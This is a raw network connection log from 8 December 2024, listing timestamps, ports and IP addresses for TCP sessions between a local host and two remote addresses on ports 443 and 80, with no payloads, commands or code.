Dec 8, 2024 15:38:30.403129101 CET	443	49767	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:30.403194904 CET	443	49767	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:30.403350115 CET	49767	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:30.403570890 CET	49767	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:30.403583050 CET	443	49767	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:30.403594971 CET	49767	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:30.403599977 CET	443	49767	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:30.406021118 CET	49773	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:30.406054020 CET	443	49773	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:30.406120062 CET	49773	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:30.406635046 CET	49773	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:30.406647921 CET	443	49773	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:30.407640934 CET	443	49768	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:30.407708883 CET	443	49768	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:30.407773018 CET	49768	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:30.407955885 CET	49768	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:30.407965899 CET	443	49768	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:30.407975912 CET	49768	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:30.407980919 CET	443	49768	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:30.412081957 CET	49774	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:30.412102938 CET	443	49774	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:30.412301064 CET	49774	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:30.412519932 CET	49774	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:30.412533998 CET	443	49774	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:32.102531910 CET	443	49770	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:32.102557898 CET	443	49771	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:32.103399992 CET	49770	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:32.103416920 CET	443	49770	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:32.103924036 CET	49770	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:32.103929996 CET	443	49770	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:32.104264021 CET	49771	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:32.104285002 CET	443	49771	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:32.104684114 CET	49771	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:32.104690075 CET	443	49771	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:32.111404896 CET	443	49772	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:32.111721992 CET	49772	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:32.111741066 CET	443	49772	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:32.112106085 CET	49772	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:32.112112045 CET	443	49772	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:32.128290892 CET	443	49774	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:32.128578901 CET	443	49773	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:32.129096985 CET	49774	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:32.129108906 CET	443	49774	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:32.129657030 CET	49773	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:32.129673958 CET	443	49773	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:32.129693031 CET	49774	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:32.129698038 CET	443	49774	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:32.130239010 CET	49773	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:32.130244017 CET	443	49773	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:32.539057970 CET	443	49771	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:32.539129019 CET	443	49771	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:32.539241076 CET	443	49770	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:32.539299011 CET	49771	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:32.539302111 CET	443	49770	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:32.539349079 CET	49770	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:32.539536953 CET	49771	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:32.539536953 CET	49770	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:32.539544106 CET	443	49770	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:32.539545059 CET	443	49771	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:32.539554119 CET	49770	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:32.539557934 CET	443	49770	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:32.539565086 CET	49771	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:32.539570093 CET	443	49771	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:32.542747021 CET	49776	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:32.542758942 CET	49777	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:32.542769909 CET	443	49776	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:32.542773962 CET	443	49777	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:32.542864084 CET	49776	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:32.543004990 CET	49777	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:32.543005943 CET	49777	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:32.543020964 CET	49776	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:32.543028116 CET	443	49777	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:32.543030977 CET	443	49776	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:32.545341015 CET	443	49772	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:32.545396090 CET	443	49772	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:32.545443058 CET	49772	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:32.545540094 CET	49772	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:32.545552015 CET	443	49772	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:32.545578957 CET	49772	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:32.545588017 CET	443	49772	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:32.547626019 CET	49778	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:32.547641039 CET	443	49778	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:32.547714949 CET	49778	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:32.547847033 CET	49778	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:32.547854900 CET	443	49778	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:32.562648058 CET	443	49774	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:32.562701941 CET	443	49774	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:32.562742949 CET	49774	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:32.562937975 CET	49774	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:32.562937975 CET	49774	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:32.562951088 CET	443	49774	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:32.562958956 CET	443	49774	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:32.563699007 CET	443	49773	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:32.563774109 CET	443	49773	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:32.563822985 CET	49773	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:32.563901901 CET	49773	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:32.563915014 CET	443	49773	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:32.563925982 CET	49773	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:32.563930988 CET	443	49773	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:32.564842939 CET	49779	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:32.564862013 CET	443	49779	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:32.564928055 CET	49779	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:32.565040112 CET	49779	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:32.565051079 CET	443	49779	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:32.565814972 CET	49780	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:32.565825939 CET	443	49780	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:32.565886021 CET	49780	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:32.565988064 CET	49780	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:32.565999031 CET	443	49780	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:34.599728107 CET	443	49776	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:34.600457907 CET	49776	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:34.600481987 CET	443	49776	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:34.600950956 CET	49776	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:34.600959063 CET	443	49776	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:34.601084948 CET	443	49778	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:34.601341009 CET	443	49777	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:34.601363897 CET	49778	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:34.601370096 CET	443	49778	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:34.601628065 CET	49777	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:34.601640940 CET	443	49777	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:34.601711988 CET	49778	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:34.601715088 CET	443	49778	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:34.602137089 CET	49777	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:34.602143049 CET	443	49777	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:34.605436087 CET	443	49780	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:34.605743885 CET	49780	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:34.605762005 CET	443	49780	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:34.605902910 CET	443	49779	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:34.606072903 CET	49780	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:34.606081009 CET	443	49780	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:34.606144905 CET	49779	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:34.606153011 CET	443	49779	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:34.606585026 CET	49779	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:34.606590033 CET	443	49779	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:35.032874107 CET	443	49776	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:35.032955885 CET	443	49776	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:35.033010006 CET	49776	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:35.033179045 CET	49776	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:35.033194065 CET	443	49776	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:35.033206940 CET	49776	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:35.033211946 CET	443	49776	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:35.034416914 CET	443	49778	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:35.034471035 CET	443	49778	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:35.034533978 CET	49778	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:35.034647942 CET	49778	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:35.034652948 CET	443	49778	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:35.034667015 CET	49778	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:35.034671068 CET	443	49778	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:35.035083055 CET	443	49777	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:35.035149097 CET	443	49777	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:35.035198927 CET	49777	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:35.035732031 CET	49777	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:35.035744905 CET	443	49777	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:35.035758018 CET	49777	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:35.035763025 CET	443	49777	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:35.036434889 CET	49782	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:35.036457062 CET	443	49782	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:35.036520958 CET	49782	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:35.036775112 CET	49782	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:35.036787033 CET	443	49782	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:35.037754059 CET	49783	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:35.037791014 CET	443	49783	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:35.037867069 CET	49783	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:35.037899017 CET	49784	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:35.037924051 CET	443	49784	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:35.037980080 CET	49784	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:35.038060904 CET	49783	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:35.038072109 CET	443	49783	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:35.038096905 CET	49784	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:35.038108110 CET	443	49784	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:35.039943933 CET	443	49779	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:35.039994001 CET	443	49779	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:35.040036917 CET	49779	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:35.040162086 CET	49779	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:35.040165901 CET	443	49779	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:35.040175915 CET	49779	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:35.040179014 CET	443	49779	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:35.040721893 CET	443	49780	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:35.040771961 CET	443	49780	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:35.040813923 CET	49780	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:35.040911913 CET	49780	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:35.040918112 CET	443	49780	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:35.040944099 CET	49780	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:35.040947914 CET	443	49780	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:35.042099953 CET	49785	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:35.042119026 CET	443	49785	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:35.042181015 CET	49785	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:35.042294025 CET	49785	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:35.042308092 CET	443	49785	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:35.042757988 CET	49786	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:35.042766094 CET	443	49786	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:35.042820930 CET	49786	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:35.042937040 CET	49786	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:35.042947054 CET	443	49786	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:35.843931913 CET	49742	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:35.844255924 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:35.964927912 CET	80	49742	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:35.965101957 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:35.965197086 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:35.965437889 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:36.084706068 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:36.753320932 CET	443	49782	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:36.753802061 CET	49782	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:36.753827095 CET	443	49782	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:36.754293919 CET	49782	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:36.754300117 CET	443	49782	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:36.755584002 CET	443	49783	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:36.755907059 CET	49783	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:36.755932093 CET	443	49783	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:36.756217957 CET	49783	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:36.756225109 CET	443	49783	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:36.757831097 CET	443	49785	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:36.757838964 CET	443	49784	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:36.758079052 CET	49785	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:36.758095980 CET	443	49785	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:36.758164883 CET	443	49786	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:36.758440018 CET	49785	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:36.758447886 CET	443	49785	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:36.758627892 CET	49784	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:36.758646011 CET	443	49784	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:36.759044886 CET	49784	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:36.759051085 CET	443	49784	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:36.759296894 CET	49786	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:36.759304047 CET	443	49786	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:36.759697914 CET	49786	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:36.759702921 CET	443	49786	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:37.187150955 CET	443	49782	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:37.187216043 CET	443	49782	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:37.187273026 CET	49782	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:37.187506914 CET	49782	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:37.187540054 CET	443	49782	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:37.187545061 CET	49782	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:37.187556982 CET	443	49782	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:37.189546108 CET	443	49783	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:37.189616919 CET	443	49783	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:37.189665079 CET	49783	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:37.190742970 CET	49788	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:37.190778017 CET	443	49788	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:37.190834999 CET	49788	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:37.190932035 CET	49783	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:37.190947056 CET	443	49783	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:37.190957069 CET	49783	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:37.190963030 CET	443	49783	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:37.191736937 CET	443	49785	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:37.191802979 CET	443	49785	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:37.191850901 CET	49785	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:37.192198038 CET	443	49786	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:37.192222118 CET	443	49784	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:37.192270041 CET	443	49786	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:37.192276955 CET	443	49784	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:37.192321062 CET	49786	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:37.192346096 CET	49784	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:37.192466974 CET	49788	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:37.192481995 CET	443	49788	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:37.192625999 CET	49784	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:37.192641020 CET	443	49784	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:37.192651033 CET	49784	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:37.192656994 CET	443	49784	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:37.193994045 CET	49785	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:37.194009066 CET	443	49785	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:37.194019079 CET	49785	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:37.194024086 CET	443	49785	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:37.194190979 CET	49786	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:37.194195986 CET	443	49786	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:37.194212914 CET	49786	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:37.194216967 CET	443	49786	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:37.197354078 CET	49789	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:37.197376966 CET	443	49789	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:37.197432995 CET	49789	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:37.198483944 CET	49789	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:37.198496103 CET	443	49789	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:37.198688030 CET	49790	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:37.198698997 CET	443	49790	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:37.198750973 CET	49790	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:37.198877096 CET	49790	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:37.198884964 CET	443	49790	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:37.199826956 CET	49791	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:37.199836016 CET	443	49791	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:37.199889898 CET	49791	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:37.200149059 CET	49791	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:37.200160980 CET	443	49791	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:37.200408936 CET	49792	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:37.200424910 CET	443	49792	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:37.200484991 CET	49792	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:37.200587988 CET	49792	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:37.200599909 CET	443	49792	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:37.790143013 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:37.791296005 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:38.458662033 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:38.578052998 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:38.896647930 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:38.896703005 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:38.896718025 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:38.896728992 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:38.896763086 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:38.896868944 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:38.896881104 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:38.896893024 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:38.896905899 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:38.896908998 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:38.896919966 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:38.896933079 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:38.896945953 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:38.896955013 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:38.896959066 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:38.896985054 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:38.897000074 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:38.904783964 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:38.904839993 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:38.920732975 CET	443	49792	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:38.921494961 CET	49792	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:38.921510935 CET	443	49792	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:38.922358036 CET	49792	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:38.922363043 CET	443	49792	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:38.922559023 CET	443	49791	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:38.922590971 CET	443	49790	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:38.922945023 CET	443	49789	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:38.923007965 CET	443	49788	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:38.923085928 CET	49791	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:38.923099995 CET	443	49791	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:38.923628092 CET	49791	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:38.923641920 CET	443	49791	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:38.923747063 CET	49788	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:38.923763037 CET	443	49788	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:38.923913002 CET	49790	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:38.923927069 CET	443	49790	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:38.924257040 CET	49790	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:38.924261093 CET	443	49790	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:38.924400091 CET	49788	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:38.924405098 CET	443	49788	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:38.924474001 CET	49789	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:38.924493074 CET	443	49789	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:38.924829960 CET	49789	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:38.924834967 CET	443	49789	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:39.016046047 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:39.016109943 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:39.088057995 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:39.088243008 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:39.088313103 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:39.090410948 CET	80	49787	185.215.113.206	192.168.2.6
